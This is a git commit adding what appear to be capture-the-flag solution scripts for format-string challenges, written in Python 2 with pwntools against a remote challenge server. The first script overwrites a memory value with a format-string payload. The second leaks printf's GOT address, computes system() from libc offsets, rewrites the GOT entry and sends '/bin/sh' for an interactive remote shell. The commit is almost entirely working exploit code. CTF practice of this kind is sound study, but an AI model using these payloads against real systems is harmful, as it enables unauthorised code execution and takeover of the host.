Added 5 problems and solutions

This commit is contained in:
Jack Ren
2022-05-11 18:07:40 +08:00
parent 272640d3c6
commit 39718ef2c1
16 changed files with 307 additions and 0 deletions

View File

@@ -0,0 +1,27 @@
#!/usr/bin/env python2
from pwn import *
from LibcSearcher import *
from struct import pack
import os, base64, math, time
context(arch = "i386",os = "linux", log_level = "debug")
p = remote("123.57.69.203", 5310)
# p = process('./attachment-31')
elf = ELF('./attachment-31')
# gdb_command = ""
# gdb.attach(p, gdb_command)
# time.sleep(2)
x_addr = int(p.recv(10), 16)
log.info(hex(x_addr))
for _ in range(3):
p.sendline("1")
p.recvuntil("What's your name?\n")
payload = fmtstr_payload(10, {x_addr: 9})
p.sendline(payload)
p.interactive()

Binary file not shown.

Binary file not shown.

28
FormatString/sp1/answer.py Executable file
View File

@@ -0,0 +1,28 @@
#!/usr/bin/env python2
from pwn import *
from LibcSearcher import *
from struct import pack
import os, base64, math, time
context(arch = "i386",os = "linux", log_level = "debug")
p = remote("123.57.69.203", 7010)
# p = process('./sp1')
elf = ELF('./sp1')
# gdb_command = ""
# gdb.attach(p, gdb_command)
# time.sleep(1)
printf_got = elf.got['printf']
p.recvuntil('Can you find the magic word?\n')
p.sendline('%7$s' + p32(printf_got))
printf_libc = u32(p.recv(4))
system_libc = printf_libc - 0x000512D0 + 0x0003D200
payload = fmtstr_payload(6, {printf_got: system_libc})
p.sendline(payload)
p.sendline("/bin/sh")
p.interactive()

BIN
FormatString/sp1/sp1 Executable file

Binary file not shown.

BIN
FormatString/sp1/sp1.idb Normal file

Binary file not shown.